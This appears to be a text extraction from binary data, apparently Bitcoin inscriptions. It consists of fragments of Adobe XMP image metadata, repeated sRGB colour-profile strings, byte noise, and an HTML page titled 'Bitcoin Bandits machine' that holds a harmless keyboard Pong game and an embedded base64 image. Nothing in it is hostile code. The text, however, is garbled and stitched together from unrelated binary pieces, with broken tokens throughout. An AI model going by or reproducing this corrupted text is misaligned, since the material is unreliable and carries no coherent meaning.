.iid:CE9307A2ABF911ED964AC0D4A3DD2073" xmpMM:DocumentID="xmp.did:CE9307A3ABF911ED964AC0D4A3DD2073"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CE9307A0ABF911ED964AC0D4A3DD2073" stRef:documentID="xmp.did:CE9307A1ABF911ED964AC0D4A3DD2073"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:2AA01436AA4111ED89B989FF5BC09210" xmpMM:InstanceID="xmp.iid:2AA01435AA4111ED89B989FF5BC09210" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-14T00:40:50+01:00"
   xmp:ModifyDate="2023-02-14T00:40:50+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-12T22:26:24+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-14T00:40:50+01:00"/>
  </rdf:Description>
<?xpacket end="r"?>sy	=
iCCPsRGB IEC61966-2.1
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Adobe Photoshop Elements 19.0 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c003 M
116.a360872, 2021/08/02-09:55:47        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" photoshop:DateCreated="2023-02-14T21:54:03" photoshop:ColorMode="3" photoM
shop:ICCProfile="Display P3" xmp:CreateDate="2023-02-15T09:44:08Z" xmp:ModifyDate="2023-02-15T09:46:17Z" xmp:MetadataDate="2023-02-15T09:46:17Z" dc:format="image/jpeg" xmpMM:InstanceID="xmp.iid:f42f1cc3-3175-4c28-bb8e-bb18c51710c9" xmpMM:DocumentID="adobe:docid:photoshop:fe4443e3-eda3-1180-83da-d21a4a22f0cd" xmpMM:OriginalDocumentID="xmp.did:b8e489e0-db5f-43b2-b7e2-859dfdf64ebf"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:b8e489e0-db5f-43b2-b7e2-859dfdf64ebf" stEvt:when="2023-0M
2-15T09:46:17Z" stEvt:softwareAgent="Adobe Photoshop Elements 19.0 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/png to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/png to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:f42f1cc3-3175-4c28-bb8e-bb18c51710c9" stEvt:when="2023-02-15T09:46:17Z" stEvt:softwareAgent="Adobe Photoshop Elements 19.0 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:M
DerivedFrom stRef:instanceID="xmp.iid:b8e489e0-db5f-43b2-b7e2-859dfdf64ebf" stRef:documentID="xmp.did:b8e489e0-db5f-43b2-b7e2-859dfdf64ebf" stRef:originalDocumentID="xmp.did:b8e489e0-db5f-43b2-b7e2-859dfdf64ebf"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                 <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
7h7h7h7h7h7h7h7h7h7h7}#%
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="gamM
e"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={M
x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){riM
ghtPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,lefM
tPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeMO
ed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
)$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE
!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
g,g,g,g,g,g,g,g,g,g,g,g,g,
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocuM
mentID="xmp.did:351fd3a8-277a-4d06-9ea7-d545401347e7" xmpMM:DocumentID="xmp.did:95C859F699A811EBB7849762D5BCE03A" xmpMM:InstanceID="xmp.iid:95C859F599A811EBB7849762D5BCE03A" xmp:CreatorTool="Adobe Photoshop 22.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a9118cef-3376-4a5b-8a73-a4f6fbc29c07" stRef:documentID="xmp.did:351fd3a8-277a-4d06-9ea7-d545401347e7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!
Adobe Photoshop 22.5 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
